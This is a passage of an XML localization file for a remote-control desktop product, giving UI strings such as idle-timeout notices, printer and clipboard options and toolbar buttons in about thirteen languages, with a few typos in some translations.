<ja>リモート制御セッションは、非アクティブであったため自動的にタイムアウトしました。\n\n再接続する場合は、ブラウザ ウィンドウの左側のナビゲーション バーにある [リモート制御] ボタンをクリックしてください。リモート制御セッションが自動的に終了するまでに許容されるアイドル時間を設定するには、メイン メニューから [詳細の設定] をクリックし、[リモート制御の設定] を選択します。[許可されたアイドル時間] の下に時間を入力してください。</ja>
<zh>由于您的远程控制会话处于非活动状态,因此它已自动超时。\n\n
要重新连接,请单击浏览器窗口左侧导航栏上的“远程控制”按钮。\n\n
要设置远程控制会话自动结束之前允许的闲置时间量,请单击主菜单上的“设置首选项”,接着单击“远程控制设置”。在“允许的闲置时间”下,输入时间量。</zh>
<ko>원격 제어 세션을 사용하지 않아 자동으로 시간 초과되었습니다.\n\n 다시 연결하려면 브라우저 창 왼쪽에 있는 탐색 모음에서 "원격 제어" 버튼을 클릭합니다.\n\n 원격 제어 세션이 자동으로 종료되기 전까지 허용되는 유휴 시간을 설정하려면 "원격 제어 설정" 다음에 나오는 주 메뉴에서 "기본 설정 지정"을 클릭합니다. "허용되는 유휴 시간"에 시간을 입력합니다.</ko>
<en-gb>Your remote control session has automatically timed out due to inactivity.\n\n
To reconnect, click the Remote Control button on the navigation bar on the left  side of your browser window.\n\n
To set the amount of idle time allowed before a remote control session automatically ends, click Set Preferences on the Main Menu followed by Remote Control Settings. Under "Idle Time allowed", enter an amount of time.</en-gb>
<hu>Az Ön távvezérlési munkamenete időtúllépéssel automatikusan lejárt, tétlenség miatt.\n\n
Az újracsatlakoztatáshoz kattintson a Távvezérlés gombra a navigációs sávban, a böngésző ablakának bal oldalán.\n\n
A távvezérlési munkamenet automatikus lezárásáig megengedett üresjárati idő beállításához kattintson a Beállítások megadására a főmenüben, majd a Távvezérlő beállításokra. Az "Engedélyezett üresjárati idő" alatt adja meg az időhosszt.</hu>
<pt-br>Sua sessão de controle remoto expirou automaticamente por inatividade.\n\n
Para reconectar-se, clique no botão Controle remoto na barra de navegação do lado esquerdo da janela do navegador.\n\n
Para definir o tempo ocioso permitido antes do encerramento automático da sessão de controle remoto, clique em Definir preferências no Menu principal e em Configurações do controle remoto. Em "Tempo ocioso permitido", digite um tempo.</pt-br>
<nl>Tijdens uw sessie voor besturing op afstand is automatisch een time-out opgetreden omdat het systeem bepaalde tijd niet is gebruikt.\n\n     Als u opnieuw een verbinding wilt maken, klikt u links in uw browservenster op de navigatiebalk op de knop "Besturing op afstand".\n\n     Als u de periode wilt wijzigen voor de toegestane tijd niet-actief voordat een sessie voor besturing op afstand automatisch wordt beëindigd, kiest u in het hoofdmenu de optie "Voorkeurinstellingen instellen" en kiest u vervolgens de optie "Instellingen voor Besturing op afstand". Onder "Tijd niet-actief toegestaan" voert u dan de gewenste tijdsduur in.</nl>
</msg>
<msg brand="LMI" os="macosx" name="CONNDLG.IDLETIMEOUT.EXPLANATION">
<en>Your remote control session has automatically timed out due to inactivity.\n\n
To reconnect, click the Remote Control My Computer button on the navigation bar on the left  side of your browser window.\n\n
To set the amount of idle time allowed before a remote control session automatically ends, click Set Preferences on the Main Menu followed by Remote Control Settings. Under "Idle Time allowed", enter an amount of time.</en>
<de>Nach einer bestimmen Zeit ohne Aktivität wird die Fernsteuerung automatisch geschlossen.\n\n
Um die Verbindung wieder aufzunehmen klicken sie auf die Schaltfläche Fernsteuerung auf der linken Seite im Browserfenster.\n\n
Im Menü unter Einstellungen / Fernsteuerung können Sie bei "Zulässige Leerlaufzeit" die Zeit einstellen nach der die Fernsteuerung bei Inaktivität automatisch geschlossen wird.</de>
<es>La sesión de control remoto ha caducado automáticamente debido a la inactividad.\n\n
Para conectar de nuevo, haga clic en el botón Control Remoto de la barra de navegación situada en el lado izquierdo de la ventana del navegador.\n\n
Para establecer el tiempo de reposo permitido antes de finalizar automáticamente una sesión de control remoto, haga clic en Establecer preferencias en el menú principal y seleccione Configuración de Control Remoto. En "Tiempo de reposo permitido", introduzca una cantidad de tiempo.</es>
<fr>Votre session de connexion à distance est automatiquement échue en raison d'inactivité.\n\n
Pour rconnecter, cliquez sur le bouton Contrôle d'accès distant de sur la barre de navigation du côté gauche de la fenêtre de votre navigateur.\n\n
Pour déterminer la durée d'inactivité permise avant  qu'une session de contrôle d'accès distant se termine automatiquement, Cliquez sur Préférences sur le Menu Principal dans Contrôle d'Accès Distant. Sous "temps d'inactivité autorisé ", entrez une durée.</fr>
<it>Si è verificato il timeout della sessione di controllo remoto a causa dell'inattività.\n\n
Per riconnettersi, fare clic sul pulsante Controllo remoto sulla barra di spostamento sul lato sinistro della finestra del browser.\n\n
Per impostare la quantità di tempo di inattività consentito prima dell'interruzione automatica di una sessione di controllo remoto, fare clic su Preferenze nel menu principale e quindi su Impostazioni Controllo remoto. In "Tempo di inattività consentito" immettere la quantità di tempo.</it>
<ru>Сеанс удаленного управления автоматически отключен по таймауту из-за отсутствия активности.\n\n
Чтобы снова подключиться, щелкните кнопку "Удаленное управление" на навигационной панели в левой стороне экрана обозревателя.\n\n
Чтобы задать время разрешенного простоя, по истечении которого сеанс удаленного управления автоматически завершается, щелкните "Задать параметры" в главном меню, а затем выберите "Параметры удаленного управления". Под заголовком "Разрешенное время простоя" укажите количество времени.</ru>
<ja>リモート制御セッションは、非アクティブであったため自動的にタイムアウトしました。\n\n再接続する場合は、ブラウザ ウィンドウの左側のナビゲーション バーにある [リモート制御] ボタンをクリックしてください。リモート制御セッションが自動的に終了するまでに許容されるアイドル時間を設定するには、メイン メニューから [詳細の設定] をクリックし、[リモート制御の設定] を選択します。[許可されたアイドル時間] の下に時間を入力してください。</ja>
<zh>由于您的远程控制会话处于非活动状态,因此它已自动超时。\n\n
要重新连接,请单击浏览器窗口左侧导航栏上的“远程控制”按钮。\n\n
要设置远程控制会话自动结束之前允许的闲置时间量,请单击主菜单上的“设置首选项”,接着单击“远程控制设置”。在“允许的闲置时间”下,输入时间量。</zh>
<ko>원격 제어 세션을 사용하지 않아 자동으로 시간 초과되었습니다.\n\n 다시 연결하려면 브라우저 창 왼쪽에 있는 탐색 모음에서 "원격 제어" 버튼을 클릭합니다.\n\n 원격 제어 세션이 자동으로 종료되기 전까지 허용되는 유휴 시간을 설정하려면 "원격 제어 설정" 다음에 나오는 주 메뉴에서 "기본 설정 지정"을 클릭합니다. "허용되는 유휴 시간"에 시간을 입력합니다.</ko>
<en-gb>Your remote control session has automatically timed out due to inactivity.\n\n
To reconnect, click the Remote Control button on the navigation bar on the left  side of your browser window.\n\n
To set the amount of idle time allowed before a remote control session automatically ends, click Set Preferences on the Main Menu followed by Remote Control Settings. Under "Idle Time allowed", enter an amount of time.</en-gb>
<hu>Az Ön távvezérlési munkamenete időtúllépéssel automatikusan lejárt, tétlenség miatt.\n\n
Az újracsatlakoztatáshoz kattintson a Távvezérlés gombra a navigációs sávban, a böngésző ablakának bal oldalán.\n\n
A távvezérlési munkamenet automatikus lezárásáig megengedett üresjárati idő beállításához kattintson a Beállítások megadására a főmenüben, majd a Távvezérlő beállításokra. Az "Engedélyezett üresjárati idő" alatt adja meg az időhosszt.</hu>
<pt-br>Sua sessão de controle remoto expirou automaticamente por inatividade.\n\n
Para reconectar-se, clique no botão Controle remoto na barra de navegação do lado esquerdo da janela do navegador.\n\n
Para definir o tempo ocioso permitido antes do encerramento automático da sessão de controle remoto, clique em Definir preferências no Menu principal e em Configurações do controle remoto. Em "Tempo ocioso permitido", digite um tempo.</pt-br>
<nl>Tijdens uw sessie voor besturing op afstand is automatisch een time-out opgetreden omdat het systeem bepaalde tijd niet is gebruikt.\n\n     Als u opnieuw een verbinding wilt maken, klikt u links in uw browservenster op de navigatiebalk op de knop "Besturing op afstand".\n\n     Als u de periode wilt wijzigen voor de toegestane tijd niet-actief voordat een sessie voor besturing op afstand automatisch wordt beëindigd, kiest u in het hoofdmenu de optie "Voorkeurinstellingen instellen" en kiest u vervolgens de optie "Instellingen voor Besturing op afstand". Onder "Tijd niet-actief toegestaan" voert u dan de gewenste tijdsduur in.</nl>
</msg>
<msg name="CONNDLG.ICON.PRINT">
<en>Remote printing support has been initialized.</en>
<de>Unterstützung für Remote-Drucken wurde initialisiert.</de>
<es>Se ha iniciado la impresión remota.</es>
<fr>Support d''impression à distance à été initialisé.</fr>
<it>Supporto della stampa remota inizializzato.</it>
<ru>Инициализирована поддержка удаленной печати.</ru>
<ja>リモート印刷のサポートは初期化されました。</ja>
<zh>已初始化远程打印支持。</zh>
<ko>원격 인쇄 지원이 초기화되었습니다.</ko>
<en-gb>Remote printing support has been initialised.</en-gb>
<hu>A távoli nyomtatás támogatása inicializálása megtörtént.</hu>
<pt-br>O suporte à impressão remota foi inicializado.</pt-br>
<nl>De initialisatie van de ondersteuning voor afdrukken op afstand is voltooid.</nl>
</msg>
<msg name="CONNDLG.ICON.SUCCESS">
<en>The remote desktop is now accessible.</en>
<de>Der Remote-Desktop ist jetzt verfügbar.</de>
<es>Ahora puede accederse al escritorio.</es>
<fr>Le burau distant est à présent disponible</fr>
<it>Il desktop remoto è ora accessibile.</it>
<ru>Теперь данный удаленный рабочий стол доступен.</ru>
<ja>リモート デスクトップは、現在アクセス可能です。</ja>
<zh>现在可以访问远程桌面。</zh>
<ko>지금 원격 데스크톱에 액세스할 수 있습니다.</ko>
<en-gb>The remote desktop is now accessible.</en-gb>
<hu>A távoli asztal most már elérhető.</hu>
<pt-br>O desktop remoto agora está acessível.</pt-br>
<nl>U hebt nu toegang tot het bureaublad van de externe computer.</nl>
</msg>
<msg name="CONNDLG.LOADING">
<en>You will view your computer's desktop shortly...</en>
<de>Sie werden den Desktop ihres Computers gleich sehen ...</de>
<es>Verá la pantalla de su ordenador dentro de unos instantes...</es>
<fr>L'affichage du bureau de votre ordinateur va s'afficher sous peu.</fr>
<it>Il desktop del computer verrà visualizzato tra breve...</it>
<ru>Рабочий стол компьютера будет показан через короткое время...</ru>
<ja>コンピュータのデスクトップが表示されるまで少々お待ちください...</ja>
<zh>您很快可以查看计算机桌面...</zh>
<ko>컴퓨터가 곧 나타납니다...</ko>
<en-gb>You will view your computer's desktop shortly...</en-gb>
<hu>Rövidesen megtekintheti a számítógép asztalát...</hu>
<pt-br>Você verá a área de trabalho do seu computador em instantes...</pt-br>
<nl>Het bureaublad van uw computer wordt zo dadelijk weergegeven...</nl>
</msg>
<msg name="CONNDLG.READY">
<en>Your computer's desktop is ready.</en>
<de>Der Desktop ihres Computers ist bereit.</de>
<es>El escritorio de su ordenador está listo.</es>
<fr>Le bureau de votre ordinateur est prêt</fr>
<it>Il desktop del computer è pronto.</it>
<ru>Рабочий стол компьютера готов.</ru>
<ja>コンピュータのデスクトップの準備ができました。</ja>
<zh>计算机桌面已准备就绪。</zh>
<ko>컴퓨터가 준비되었습니다.</ko>
<en-gb>Your computer's desktop is ready.</en-gb>
<hu>Az Ön számítógépének asztala készen áll.</hu>
<pt-br>A área de trabalho do seu computador está pronta.</pt-br>
<nl>Het bureaublad van uw computer is nu gereed voor gebruik.</nl>
</msg>
<msg name="CONNDLG.OPTIONTITLE">
<en>Remote Control $1</en>
<de>Fernsteuerung $1</de>
<es>Control Remoto $1</es>
<fr>Contrôle distant $1</fr>
<it>Controllo remoto di $1</it>
<ru>Удаленное управление $1</ru>
<ja>リモート制御 $1</ja>
<zh>远程控制 $1</zh>
<ko>$1 원격 제어</ko>
<en-gb>Remote Control $1</en-gb>
<hu>Távvezérlés $1</hu>
<pt-br>Controlar $1 remotamente</pt-br>
<nl>Besturing op afstand van $1</nl>
</msg>
<msg name="CONNDLG.OPTIONSUBTITLE">
<en>You are about to remote control $1.</en>
<es>Está a punto de controlar de forma remota $1.</es>
<fr>Vous êtes sur le contrôle distant $1.</fr>
<de>Sie sind im Begriff, eine Remotesteuerung für $1 auszuführen.</de>
<it>Si sta per avviare il controllo remoto di $1.</it>
<ru>Сейчас начнется сеанс удаленного управления $1.</ru>
<ja>$1 をリモート制御しようとしています。</ja>
<zh>您要远程控制 $1。</zh>
<ko>$1을(를) 원격 제어하려고 합니다.</ko>
<en-gb>You are about to remote control $1.</en-gb>
<hu>Ön nemsokára távvezérli a $1 gépet.</hu>
<pt-br>Você está prestes a controlar remotamente $1.</pt-br>
<nl>Uw sessie voor besturing op afstand van $1 begint zo dadelijk.</nl>
</msg>
<msg name="CONNDLG.OPTIONS">
<en>Please select your connection options below:</en>
<es>Seleccione a continuación las opciones de conexión:</es>
<fr>Veuillez sélectionner vos options de connexion ci-dessous:</fr>
<de>Wählen Sie unten Ihre Verbindungsoptionen:</de>
<it>Selezionare le opzioni di connessione seguenti:</it>
<ru>Выберите представленные ниже параметры подключения:</ru>
<ja>以下から接続オプションを選択してください :</ja>
<zh>请从下面选择连接选项:</zh>
<ko>아래에서 연결 옵션을 선택하십시오.</ko>
<en-gb>Please select your connection options below:</en-gb>
<hu>Kérem, válassza ki alább a kapcsolat beállításait:</hu>
<pt-br>Selecione as opções de conexão abaixo:</pt-br>
<nl>Selecteer hieronder de gewenste opties voor uw verbinding:</nl>
</msg>
<msg name="CONNDLG.PRINTER">
<en>Connect my default printer to the remote computer.</en>
<es>Conectar mi impresora predeterminada al ordenador remoto.</es>
<fr>Connecter mon imprimante par défaut sur l'ordinateur distant.</fr>
<de>Meinen Standarddrucker mit dem Remotecomputer verbinden.</de>
<it>Connettere la stampante predefinita al computer remoto.</it>
<ru>Подключить принтер по умолчанию к данному удаленному компьютеру.</ru>
<ja>既定のプリンタをリモート コンピュータに接続します。</ja>
<zh>将我的默认打印机连接至远程计算机。</zh>
<ko>원격 컴퓨터에 내 기본 프린터를 연결합니다.</ko>
<en-gb>Connect my default printer to the remote computer.</en-gb>
<hu>Alapértelmezett nyomtató csatlakoztatása a távoli számítógéphez.</hu>
<pt-br>Conectar minha impressora padrão ao computador remoto.</pt-br>
<nl>Mijn standaardprinter koppelen aan de externe computer.</nl>
</msg>
<msg name="CONNDLG.CLIPBOARD">
<en>Synchronize my clipboard with the remote computer.</en>
<es>Sincronizar mi portapapeles con el ordenador remoto.</es>
<fr>Synchroniser mon presse-papier avec l'ordinateur distant.</fr>
<de>Meine Zwischenablage mit dem Remotecomputer synchronisieren.</de>
<it>Sincronizzare gli Appunti con il computer remoto.</it>
<ru>Синхронизовать буфер обмена с данным удаленным компьютером.</ru>
<ja>クリップボードをリモート コンピュータに同期します。</ja>
<zh>使我的剪贴板与远程计算机同步。</zh>
<ko>원격 컴퓨터와 내 클립보드를 동기화합니다.</ko>
<en-gb>Synchronise my clipboard with the remote computer.</en-gb>
<hu>Vágólapom szinkronizálása a távoli számítógéppel.</hu>
<pt-br>Sincronizar minha área de transferência com o computador remoto.</pt-br>
<nl>Mijn Klembord synchroniseren met de externe computer.</nl>
</msg>
<msg name="CONNDLG.REMEMBER">
<en>Remember $1 and don't display this dialog again.</en>
<es>Recordar $1 y no volver a mostrar este diálogo de nuevo.</es>
<fr>Se souvenir de $1 et ne plus afficher ce message à l'avenir.</fr>
<de>$1 speichern und dieses Dialogfeld nicht mehr anzeigen.</de>
<it>Memorizza $1 e non visualizzare più questa finestra di dialogo</it>
<ru>Запомнить $1 и не показывать это диалоговое окно опять.</ru>
<ja>$1 を記憶し、このダイアログを再び表示しない。</ja>
<zh>记住 $1 并且不再显示此对话框。</zh>
<ko>$1을(를) 기억하십시오. 이 대화 상자를 다시 표시하지 않습니다.</ko>
<en-gb>Remember $1 and don't display this dialogue again.</en-gb>
<hu>Emlékezzen a $1-re, és ne mutassa ismét ezt a párbeszédablakot.</hu>
<pt-br>Lembrar $1 e não exibir esta caixa de diálogo novamente.</pt-br>
<nl>$1 onthouden en dit dialoogvenster niet opnieuw weergeven.</nl>
</msg>
<msg name="CONNDLG.PROCEED">
<en>Proceed</en>
<es>Proceder</es>
<fr>Effectué</fr>
<de>Fortsetzen</de>
<it>Continua</it>
<ru>Продолжить</ru>
<ja>進む</ja>
<zh>继续进行</zh>
<ko>진행</ko>
<en-gb>Proceed</en-gb>
<hu>Folytatás</hu>
<pt-br>Continuar</pt-br>
<nl>Doorgaan</nl>
</msg>
<msg name="PINTOOLTIP">
<en>Pin toolbar to window</en>
<de>Toolbar fixieren</de>
<es>Coloque la barra de herramientas en la ventana</es>
<fr>Conserver la barre d'outils sur la fenêtre</fr>
<it>Aggancia barra degli strumenti alla finestra</it>
<ru>Прикрепить панель инструментов к окну</ru>
<ja>ツールバーをウィンドウに固定する</ja>
<zh>在窗口中插入工具栏</zh>
<ko>도구 모음을 창에 고정</ko>
<en-gb>Pin toolbar to window</en-gb>
<hu>Eszköztár ablakhoz tűzése</hu>
<pt-br>Anexar barra de ferramentas à janela.</pt-br>
<nl>Werkbalk vasthechten aan venster</nl>
</msg>
<msg name="MATCHDESKTOP">
<en>Match host desktop resolution to this monitor</en>
<de>Bildschirmauflösung des Host an diesen Monitor anpassen.</de>
<es>Ajustar resolución del escritorio del host a este monitor</es>
<fr>Adapte la résolution du bureau de l'hôte distant à cet écran.</fr>
<it>Adatta la risoluzione del desktop dell'host a questo monitor</it>
<ru>Согласовать разрешение рабочего стола хост-компьютера с данным монитором</ru>
<ja>ホスト デスクトップの解像度をこのモニタと一致させる</ja>
<zh>使主机桌面分辨率与此显示器相匹配</zh>
<ko>이 모니터와 호스트 데스크톱 해상도 일치</ko>
<en-gb>Match host desktop resolution to this monitor</en-gb>
<hu>Gazdagép asztalának igazítása erre a képernyőre</hu>
<pt-br>Corresponder resolução do desktop host com este monitor</pt-br>
<nl>Resolutie van bureaublad op hostcomputer afstemmen op dit beeldscherm</nl>
</msg>
<msg name="CLOSEBUTTON">
<en>End the Remote Control session</en>
<de>Fernsteuerung beenden</de>
<es>Finalizar la sesión de Control Remoto</es>
<fr>Terminner la session de Contrôle d'Accès Distant</fr>
<it>Termina sessione di Controllo remoto</it>
<ru>Завершить данный сеанс удаленного управления</ru>
<ja>リモート制御セッションを終了</ja>
<zh>结束远程控制会话</zh>
<ko>원격 제어 세션 종료</ko>
<en-gb>End the Remote Control session</en-gb>
<hu>Távvezérlési munkamenet vége</hu>
<pt-br>Encerrar sessão de controle remoto</pt-br>
<nl>De sessie voor besturing op afstand beëindigen</nl>
</msg>
<msg name="RESTORE">
<en>Restore</en>
<de>Wiederherstellen</de>
<es>Restaurar</es>
<fr>Récupération</fr>
<it>Ripristina</it>
<ru>Восстановить</ru>
<ja>復旧</ja>
<zh>恢复</zh>
<ko>복원</ko>
<en-gb>Restore</en-gb>
<hu>Visszaállítás</hu>
<pt-br>Restaurar</pt-br>
<nl>Vorig formaat</nl>
</msg>
<msg name="MINIMIZE">
<en>Minimize window</en>
<es>Minimizar ventana</es>
<de>Fenster minimieren</de>
<fr>Réduire la fenêtre</fr>
<it>Riduci la finestra a icona</it>
<ru>Свернуть окно</ru>
<ja>ウィンドウの最小化</ja>
<zh>最小化窗口</zh>
<ko>창 최소화</ko>
<en-gb>Minimize window</en-gb>
<hu>Ablak kis méretűre állítása</hu>
<pt-br>Minimizar janela</pt-br>
<nl>Venster minimaliseren</nl>
</msg>
<msg name="FLOAT.CLOSE.EXPLANATION">
<en>You have turned off the Full Screen toolbar.\n\n
To exit Full Screen mode in the future, do one of\n the following:\n\n
1. Move your mouse to the very top of the\n screen and wait for the toolbar to appear, 
then\n click the "Full Screen" button.\n\n
2. Alternatively you can press the CTRL and ALT\n keys together at any time to return to normal\n mode.\n</en>
<de>Sie haben die Toolbar für die Vollbildanzeige ausgeschaltet.\n\n
Um die Vollbildanzeige zukünftig zu beenden,\n 
gehen sie folgendermaßen vor:\n\n
1. Bewegen sie die Maus an den\n 
oberen Bildschirmrand und\n 
warten sie, bis die Toolbar\n 
erscheint. Anschließend klicken\n 
sie auf die Schaltfläche "Vollbild".\n\n
2. Alternativ können Sie STRG-ALT\n 
drücken, um zur Normalanzeige\n 
zurück zu kehren.\n</de>
<es>Ha cerrado la barra Pantalla completa.\n\n
Para salir del modo Pantalla completa en el futuro, realice una de\n las siguientes acciones:\n\n
1. mueva el puntero a la parte superior de la\n pantalla y espere a que aparezca la barra de herramientas,
a continuación,\n haga clic en el botón "Pantalla completa".\n\n
2. Alternativamente, puede presionar conjuntamente las teclas Ctrl y Alt\n en cualquier momento para volver al modo\n normal.\n</es>
<fr>Vous avez désactivé la barre d'outils plein écran .\n\n
Pour le futur, afin de sortir du mode Plein Ecran.Faites une des:\n manipulations\n\n
1. Déplacer le curseur de votre souris vers le haut de votre\n écran et attendez que la barre d'outils apparaisse,
puis\n cliquez surl le bouton "Plein Ecran".\n\n
2. Pressez à tout moment les touches CTRL et ALT\n  ensemble pour retourner au mode\n normal\n.</fr>
<it>La barra degli strumenti Schermo intero è stata disattivata.\n\n
Per uscire dalla modalità schermo intero in futuro, effettuare una delle\n operazioni indicate di seguito.\n\n
1. Spostare il mouse nella parte superiore dello\n schermo e attendere che venga visualizzata la barra degli strumenti, quindi\n fare clic sul pulsante "Schermo intero".\n\n
2. In alternativa, è possibile premere contemporaneamente i tasti CTRL e ALT\n in qualsiasi momento per tornare alla modalità\n normale.\n</it>
<ru>Отключить панель полноэкранного режима.\n\n
Чтобы выйти из полноэкранного режима в будущем, выполните\n одно из следующих действий.\n\n
1. Переместите мышь на самый верх экрана\n и дождитесь появления панели инструментов, затем\n щелкните кнопку "Во весь экран".\n\n
2. В качестве альтернативы можно одновременно нажать\n клавиши CTRL и ALT, чтобы в любой момент вернуть к обычному режиму.\n</ru>
<ja>全画面表示ツールバーを非表示にしています。後で全画面表示モードを終了する場合は、次のうちのどれかを\n実行してください。\n\n
1. マウスを画面の一番上に移動し、ツールバーが\n表示されるのを待ちます。\n表示されたら、[全画面] ボタンをクリックします。\n\n
2. 別の方法として、CTRL キーと ALT キーを\n一緒に押せば、いつでも標準\nモードに戻ることができます。\n</ja>
<zh>您已经关闭全屏工具栏。\n\n
要在以后退出全屏模式,请执行以下\n操作之一:\n\n
1. 将鼠标移至屏幕最顶部,\n并等待屏幕上显示工具栏,
然后,\n单击“全屏”按钮。\n\n
2. 或者,您可以随时按 CTRL 和 ALT 组合键\n返回至正常\n模式。\n</zh>
<ko>전체 화면 도구 모음을 껐습니다.\n\n
나중에 전체 화면 모드를 종료하려면\n 다음 작업 중 하나를 수행하십시오.\n\n 
1. 마우스를 화면 맨 위로 이동하고\n 도구 모음이 나타날 때까지 기다린 다음\n "전체 화면" 버튼을 클릭합니다.\n\n
2. 또는 CTRL 키와 ALT 키를 동시에 눌러\n 언제든지 정상 모드로 돌아갈 수 있습니다.\n</ko>
<en-gb>You have turned off the Full Screen toolbar.\n\n
To exit Full Screen mode in the future, do one of\n the following:\n\n
1. Move your mouse to the very top of the\n screen and wait for the toolbar to appear, then\n
click the "Full Screen" button.\n\n
2. Alternatively, you can press the CTRL and ALT\n keys together at any time to return to normal\n
mode.\n</en-gb>
<hu>Kikapcsolta a teljes képernyős eszköztárat.\n\n
A jövőben, ha ki akar lépni a teljes képernyős módból, tegye a következők egyikét:\n\n
1. Vigye az egeret a képernyő \n legtetejére, és várjon, míg az eszköztár megjelenik, 
majd\n kattintson a "Teljes képernyő" gombra.\n\n
2. Másik módszer, ha együttesen lenyomja a CTRL \nés az ALT billentyűket, hogy visszatérjen \na normál üzemmódba\n</hu>
<pt-br>Você desligou a barra de ferramentas Tela cheia.\n\n
Para sair do modo de tela cheia no futuro, siga um\n destes procedimentos:\n\n
1. Mova o mouse para a parte mais superior da\n tela e aguarde a barra de ferramentas ser exibida.
Clique no botão "Tela inteira".\n\n
2. Como alternativa, pressione as teclas CTRL e ALT\n juntas a qualquer momento para voltar para o modo\n normal.\n</pt-br>
<nl>U hebt de werkbalk in de modus "Volledig scherm" uitgeschakeld.\n\n Als u een volgende keer de modus "Volledig scherm" in wilt afsluiten, voert u één van\n de volgende stappen uit:\n\n 1. Verplaats uw muis tot helemaal bovenaan in het\n venster, wacht tot de werkbalk wordt weergegeven en klik vervolgens\n op de knop "Volledig scherm".\n\n 2. U kunt ook de Ctrl- en Alt-\ntoetsen tegelijk indrukken om terug te keren naar de normale\n weergavemodus.\n</nl>
</msg>
<msg name="FLOAT.CLOSE.TITLE">
<en>%PRODUCTNAME</en>
<de>%PRODUCTNAME</de>
<es>%PRODUCTNAME</es>
<fr>%PRODUCTNAME</fr>
<it>%PRODUCTNAME</it>
<ru>%PRODUCTNAME</ru>
<ja>%PRODUCTNAME</ja>
<zh>%PRODUCTNAME</zh>
<ko>%PRODUCTNAME</ko>
<en-gb>%PRODUCTNAME</en-gb>
<hu>%PRODUCTNAME</hu>
<pt-br>%PRODUCTNAME</pt-br>
<nl>%PRODUCTNAME</nl>
</msg>
<msg name="BTN.FULLSCREEN">
<en>Full Screen</en>
<de>Vollbild</de>
<es>Pantalla completa</es>
<fr>Plein écran</fr>
<it>Schermo intero</it>
<ru>Во весь экран</ru>
<ja>全画面</ja>
<zh>全屏</zh>
<ko>전체 화면</ko>
<en-gb>Full Screen</en-gb>
<hu>Teljes képernyő</hu>
<pt-br>Tela inteira</pt-br>
<nl>Volledig scherm</nl>
</msg>
<msg name="BTN.SCREENSIZE">
<en>View</en>
<de>Anzeigen</de>
<es>Ver</es>
<fr>Taille écran</fr>
<it>Visualizza</it>
<ru>Вид</ru>
<ja>表示</ja>
<zh>视图</zh>
<ko>보기</ko>
<en-gb>View</en-gb>
<hu>Nézet</hu>
<pt-br>Exibir</pt-br>
<nl>Beeld</nl>
</msg>
<msg name="TIP.SCREENSIZE">
<en>Configure View Settings</en>
<es>Configurar opciones de Ver</es>
<fr>Configurer les paramètres de la taille écran</fr>
<de>Ansichtseinstellungen konfigurieren</de>
<it>Configura impostazioni della vista</it>
<ru>Настроить параметры вида</ru>
<ja>表示設定</ja>
<zh>配置视图设置</zh>
<ko>보기 설정 구성</ko>
<en-gb>Configure View Settings</en-gb>
<hu>Nézet beállításai</hu>
<pt-br>Definir configurações de exibição</pt-br>
<nl>Weergave-instellingen configureren</nl>
</msg>
<msg name="BTN.MONITORS">
<en>Monitors</en>
<es>Monitores</es>
<fr>Moniteurs</fr>
<de>Monitore</de>
<it>Monitor</it>
<ru>Мониторы</ru>
<ja>モニタ</ja>
<zh>显示器</zh>
<ko>모니터</ko>
<en-gb>Monitors</en-gb>
<hu>Monitorok</hu>
<pt-br>Monitores</pt-br>
<nl>Beeldschermen</nl>
</msg>
<msg name="BTN.CAD">
<en>Ctrl-Alt-Del</en>
<de>Strg+Alt+Entf</de>
<es>Ctrl-Alt-Supr</es>
<fr>Ctrl+Alt+Suppr</fr>
<it>Ctrl-Alt-Canc</it>
<ru>Ctrl-Alt-Delete</ru>
<ja>Ctrl-Alt-Del</ja>
<zh>Ctrl-Alt-Del</zh>
<ko>Ctrl-Alt-Del</ko>
<en-gb>Ctrl-Alt-Del</en-gb>
<hu>Ctrl-Alt-Del</hu>
<pt-br>Ctrl-Alt-Delete</pt-br>
<nl>Ctrl-Alt-Delete</nl>
</msg>
<msg name="BTN.FXFER">
<en>File Manager</en>
<de>Dateimanager</de>
<ja>ファイル管理</ja>
<es>Gestor de archivos</es>
<fr>Transfert de fichier</fr>
<it>Gestione file</it>
<ru>Диспетчер файлов</ru>
<zh>文件管理器</zh>
<ko>파일 관리자</ko>
<en-gb>File Manager</en-gb>
<hu>Fájlkezelő</hu>
<pt-br>Gerenciador de arquivos</pt-br>
<nl>Bestandsbeheer</nl>
</msg>
<msg name="BTN.RFSDRIVEMAP.MAP">
<en>Connect Drives</en>
<de>Laufwerke verbinden</de>
<es>Conectar unidades</es>
<fr>Connecter des lecteurs</fr>
<it>Connetti unità</it>
<ru>Подключить диски</ru>
<ja>ドライブを接続</ja>
<ko>드라이브 연결</ko>
<zh>连接驱动器</zh>
<hu>Meghajtók csatlakoztatása</hu>
<pt-br>Conectar unidades</pt-br>
<nl>Stations koppelen</nl>
</msg>
<msg name="BTN.SOUNDTRANSFER.MAP">
<en>Transfer Sound</en>
<de>Ton übertragen</de>
<es>Transferir sonido</es>
<fr>Transférer le son</fr>
<it>Trasferimento audio</it>
<ru>Передать звук</ru>
<ja>音の転送</ja>
<zh>传输声音</zh>
<ko>사운드 전송</ko>
<hu>Hang átvitele</hu>
<pt-br>Transferir som</pt-br>
<nl>Geluid overdragen</nl>
</msg>
<msg name="BTN.ADVANCED.MORE">
<en>More &gt;&gt;&gt;</en>
<de>Mehr &gt;&gt;&gt;</de>
<es>Más &gt;&gt;&gt;</es>
<fr>Plus &gt;&gt;&gt;</fr>
<it>Altro &gt;&gt;&gt;</it>
<ru>Больше &gt;&gt;&gt;</ru>
<ja>詳細 &gt;&gt;&gt;</ja>
<zh>更多 &gt;&gt;&gt;</zh>
<ko>보다 큼 &gt;&gt;&gt;</ko>
<en-gb>More &gt;&gt;&gt;</en-gb>
<hu>Több &gt;&gt;&gt;</hu>
<pt-br>Mais &gt;&gt;&gt;</pt-br>
<nl>Meer &gt;&gt;&gt;</nl>
</msg>
<msg name="BTN.ADVANCED.LESS">
<en>Less &lt;&lt;&lt;</en>
<de>Weniger &lt;&lt;&lt;</de>
<es>Menos &lt;&lt;&lt;</es>
<fr>Moindre &lt;&lt;&lt;</fr>
<it>Comprimi &lt;&lt;&lt;</it>
<ru>Меньше &lt;&lt;&lt;</ru>
<ja>詳細を表示しない &lt;&lt;&lt;</ja>
<zh>较少 &lt;&lt;&lt;</zh>
<ko>보다 작음 &lt;&lt;&lt;</ko>
<en-gb>Less &lt;&lt;&lt;</en-gb>
<hu>Kevesebb &lt;&lt;&lt;</hu>
<pt-br>Menos &lt;&lt;&lt;</pt-br>
<nl>Minder &lt;&lt;&lt;</nl>
</msg>
<msg name="TIP.ADVANCED">
<en>Open Advanced Toolbar</en>
<es>Abrir barra de herramientas Avanzadas</es>
<fr>Ouvrir la barre d'outils avancées</fr>
<de>Erweiterte Symbolleiste öffnen</de>
